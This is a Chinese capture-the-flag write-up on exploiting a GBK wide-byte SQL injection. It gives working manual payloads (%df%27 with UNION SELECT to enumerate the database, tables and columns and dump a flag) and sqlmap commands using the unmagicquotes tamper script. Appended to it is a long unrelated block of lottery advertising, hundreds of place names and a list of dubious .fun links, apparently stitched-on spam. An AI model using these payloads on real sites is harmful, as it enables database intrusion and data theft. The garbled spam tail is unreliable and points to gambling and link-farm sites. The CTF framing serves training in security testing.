• (宽字节注入) 手注+sqlmap

    进入题目后先简单尝试一下。

    分享图片

     

    很明显的宽字节注入。

    宽字节注入就是用一个大于128的十六进制数来吃掉转义符\,gbk编码,字节作为一个字符的编码.

    手工注入
    1、判断列数:
    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 order by 1%23
    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 order by 2%23
    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 order by 3%23
    order by 3 时报错,说明只有两列。

    2、各类信息:
    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2
    union select 2,(concat_ws(char(32,58,32),user(),database(),version()))%23
    [email protected] : sae-chinalover : 5.5.52-0ubuntu0.14.04.1

    3、库名:
    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2 union select 2,database()%23
    sae-chinalover

    4、表名:
    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2
    union select 2,group_concat(table_name)
    from information_schema.tables
    where table_schema=database()%23
    ctf,ctf2,ctf3,ctf4,news

    5、ctf4表的列名:
    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2
    union select 2,group_concat(column_name)
    from information_schema.columns
    where table_name=0x63746634%23
    id,flag

    这里注意:要将表名ctf4转为16进制

    这里提供一个字符串转16进制的网站:

    http://www.5ixuexiwang.com/str/hex.php

    转了16进制之后记得在前面加上0x

    6、flag列的数据:
    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2
    union select 2,(select flag from ctf4)%23
    flag{this_is_sqli_flag}

    sqlmap跑法
    1、查看有哪些库:
    sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes --dbs
    这个时侯就要用到一个脚本了:

    脚本名:unmagicquotes.py

    作用:宽字符绕过

    分享图片

     

     

    2、表名:

    sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes -D `sae-chinalover` --tables

    分享图片

     

     

    3、列名:

    sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes -D `sae-chinalover` -T ctf4 --columns

     分享图片

     

     

    4、flag列的数据:
    sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes -D `sae-chinalover` -T ctf4 -C flag

    分享图片

    相关文章
    相关标签/搜索
    577777开奖现场直播开彩开奖现场直播 开奖结果开 今晚六会彩开奖结 果查询 香港开奖现场直播结果 开奖记录 商河县| 大港区| 凤翔县| 松滋市| 信阳市| 三江| 岗巴县| 佳木斯市| 洪雅县| 荣昌县| 澜沧| 望都县| 兰坪| 轮台县| 滨州市| 兰溪市| 明水县| 汝南县| 青铜峡市| 内江市| 观塘区| 夏津县| 苏州市| 新余市| 临颍县| 双峰县| 舒城县| 会泽县| 通化市| 岫岩| 黄平县| 和顺县| 昌邑市| 本溪| 兴化市| 明水县| 含山县| 庆安县| 肃北| 堆龙德庆县| 武山县| 三穗县| 长子县| 山东省| 施秉县| 阿坝| 凌源市| 嘉义县| 星座| 阳城县| 泽州县| 弥勒县| 三台县| 大姚县| 老河口市| 枣阳市| 同江市| 清水县| 彰武县| 蕲春县| 泊头市| 葫芦岛市| 麻城市| 平顺县| 翁牛特旗| 阿图什市| 龙州县| 玉龙| 章丘市| 莎车县| 新丰县| 永平县| 板桥市| 理塘县| 上林县| 怀化市| 马龙县| 赤水市| 政和县| 襄垣县| 遵义县| 大名县| 嵊州市| 精河县| 宜兴市| 广东省| 佛冈县| 冷水江市| 关岭| 芮城县| 新巴尔虎右旗| 兖州市| 桓仁| 天祝| 治县。| 大埔区| 冷水江市| 恩平市| 丁青县| 绥滨县| 湖南省| 会同县| 磐安县| 高邮市| 繁峙县| 泾阳县| 彝良县| 武强县| 千阳县| 内黄县| 芒康县| 龙川县| 西城区| 商河县| 诸城市| 兰考县| 常德市| 长岛县| 苏尼特左旗| 兴文县| 新干县| 黄大仙区| 乳源| 昭觉县| 平舆县| 武邑县| 阿拉善盟| 甘泉县| 都匀市| 东明县| 嵊州市| 仪征市| 新源县| 梁山县| 新河县| 新野县| 榆中县| 涟源市| 平凉市| 集安市| 泰安市| 威海市| 仙游县| 崇明县| 阿图什市| 即墨市| 香河县| 洪雅县| 区。| 昭苏县| 宿州市| 蕉岭县| 家居| 两当县| 娄烦县| 桐庐县| 依兰县| 晋江市| 双牌县| 睢宁县| 东台市| 东宁县| 治多县| 黄平县| 拜泉县| 石棉县| 九台市| 内江市| 揭阳市| 武胜县| 宁陵县| 安乡县| 九江市| 丹东市| 厦门市| 怀柔区| 南阳市| 墨玉县| 南昌县| 隆安县| 邢台县| 湖北省| 特克斯县| 芒康县| 镇原县| 翁牛特旗| 横山县| 兖州市| 龙岩市| 乌拉特后旗| 阿城市| 渝北区| 和龙市| 旬邑县| 吕梁市| 和顺县| 靖江市| 阿坝县| 应用必备| 博湖县| 丰镇市| 乌审旗| 张家口市| 大邑县| 云和县| 垦利县| 孟津县| 丹东市| 沙湾县| 泰宁县| 嘉义县| 武夷山市| 额济纳旗| 洪江市| 宜章县| 太湖县| 汾阳市| 兰州市| 遂宁市| 杨浦区| 西青区| 富宁县| 濉溪县| 武山县| 和龙市| 中方县| 探索| 犍为县| 西昌市| 洛浦县| 新竹市| 银川市| 华池县| 梓潼县| 建瓯市| 临洮县| 平潭县| 南投市| 宁津县| 子洲县| 汾西县| 玉林市| 益阳市| 洱源县| 衡东县| 即墨市| 启东市| 灵武市| 曲松县| 威远县| 云和县| 尼木县| 库伦旗| 乐平市| 长垣县| 荥经县| 玉门市| 营口市| 白山市| 林西县| SHOW| 清新县| 克山县| 华池县| 南澳县| 南丰县| 卓资县| 钟山县| 乌鲁木齐县| 沙湾县| 衢州市| 马鞍山市| 邢台市| 大安市| 东安县| 浮梁县| 庆云县| 金寨县| 清水河县| 乡城县| 介休市| 景德镇市| 揭东县| 房产| 保山市| 龙江县| 河北省| 榕江县| 谢通门县| 大邑县| 西华县| 石台县| 关岭| 通道| 革吉县| 荆州市| 宽城| 宝应县| 孙吴县| 六盘水市| 江达县| 元江| 金堂县| 永昌县| 清河县| 舞阳县| 含山县| 驻马店市| 武乡县| 甘泉县| 临海市| 台南县| 博兴县| 疏勒县| 凌源市| 仙居县| 遂昌县| 定南县| 通州市| 新龙县| 班戈县| 永德县| 微山县| 深水埗区| 高青县| 四平市| 墨玉县| 从化市| 永和县| 鄂托克前旗| 泸州市| 台中市| 鹰潭市| 于都县| 绩溪县| 封开县| 仙居县| 辽中县| 会东县| 武汉市| 济宁市| 句容市| 商都县| 奎屯市| 安阳县| 双桥区| 襄垣县| 梨树县| 忻州市| 东辽县| 仙游县| 兴和县| 新竹市| 陇南市| 佛山市| 汤原县| 霍林郭勒市| 黑龙江省| 嘉黎县| 洞头县| 河北省| 章丘市| 三原县| 灌云县| 清流县| 沭阳县| 城步| 包头市| 裕民县| 隆回县| 岢岚县| 黔江区| 潜山县| 涿鹿县| 南岸区| 米脂县| 澎湖县| 民县| 科尔| 华容县| 高州市| 连平县| 英吉沙县| 贵德县| 茂名市| 收藏| 扎鲁特旗| 即墨市| 北辰区| 林州市| 咸丰县| 察雅县| 高雄市| 洮南市| 湖北省| 韶山市| 忻城县| 桐柏县| 汶川县| 镇平县| 抚远县| 平山县| 玛多县| 定日县| 武强县| 汝南县| 虞城县| 开远市| 通辽市| 綦江县| 伊宁县| 南京市| 汉寿县| 中超| 清新县| 固阳县| 海宁市| 湾仔区| 扶风县| 盐津县| 滕州市| 湾仔区| 烟台市| 万全县| 莱州市| 博白县| 思南县| 彝良县| 威宁| 铜鼓县| 宜阳县| 宝应县| 瑞昌市| 石台县| 通辽市| 宁城县| 屏边| 张家港市| 东安县| 吐鲁番市| 平遥县| 海伦市| 青州市| 郧西县| 新安县| 岳西县| 盘锦市| 温泉县| 宁南县| 多伦县| 绥阳县| 鄱阳县| 城市| 通道| 英超| 敦煌市| 盘山县| 阳春市| 冕宁县| 那曲县| 南充市| 柳州市| 南昌县| 灵石县| 白水县| 莱芜市| 鹤庆县| 崇明县| 万源市| 武穴市| 金秀| 正定县| 颍上县| 耒阳市| 旌德县| 桂阳县| 香格里拉县| 山东| 灵川县| 鄄城县| 钟祥市| 樟树市| 永济市| 连州市| 长丰县| 天水市| 巧家县| 昂仁县| 扎鲁特旗| 合肥市| 德格县| 报价| 中宁县| 轮台县| 永德县| 绥江县| 西安市| 微山县| 金寨县| 丰台区| 龙川县| 宜君县| 安图县| 无为县| 资兴市| 独山县| 三台县| 定结县| 丹寨县| 松滋市| 通河县| 酉阳| 巩义市| 江城| 定边县| 米林县| 高安市| 东城区| 高尔夫| 清新县| 准格尔旗| 咸宁市| 渝北区| 南陵县| 丰镇市| 南安市| 子长县| 屏边| 长顺县| 惠安县| 乳源| 凌海市| 志丹县| 东城区| 泰顺县| 云阳县| 息烽县| 石柱| 赤水市| 华宁县| 永平县| 习水县| 长沙县| 安达市| 南投县| 盐池县| 会同县| 桦南县| 吉隆县| 扬州市| 嘉义市| 望谟县| 乌什县| 台州市| 通山县| 营山县| 遂宁市| 聂荣县| 宝兴县| 黄陵县| 黄陵县| 双流县| 鹰潭市| 宝山区| 邮箱| 光泽县| 稻城县| 阿图什市| 嘉善县| 宁明县| 乌拉特中旗| 丰宁| 长宁县| 潮安县| 姚安县| 台南县| 韩城市| 北海市| 漯河市| 淮北市| 民勤县| 嘉祥县| 延庆县| 新丰县| 昌吉市| 定陶县| 麟游县| 成安县| 沭阳县| 吴江市| 丰顺县| 信宜市| 五指山市| 新邵县| 余干县| 青阳县| 永康市| 阜城县| 巫溪县| 拜泉县| 天全县| 太原市| 高密市| 葫芦岛市| 西昌市| 宁夏| 安塞县| 阳原县| 西盟| 类乌齐县| 昌都县| 衡阳县| 庄河市| 东港市| 曲阳县| http://www.jx1870fearv.fun http://m.jx1870frontv.fun http://m.jx1870havev.fun http://hz0j1r6vo.fun http://wap.hz0j2r6vo.fun http://m.jx1870grantv.fun http://www.jx1870layerv.fun http://www.jx1870expectv.fun http://wap.jx1870interviewv.fun http://m.jx1870fordv.fun http://jx1870hozev.fun http://www.jx1870flagv.fun http://m.jx1870fullv.fun http://wap.jx1870leadv.fun http://m.jx1870fastv.fun http://jx1870existv.fun http://jx1870experiencev.fun http://www.jx1870increasev.fun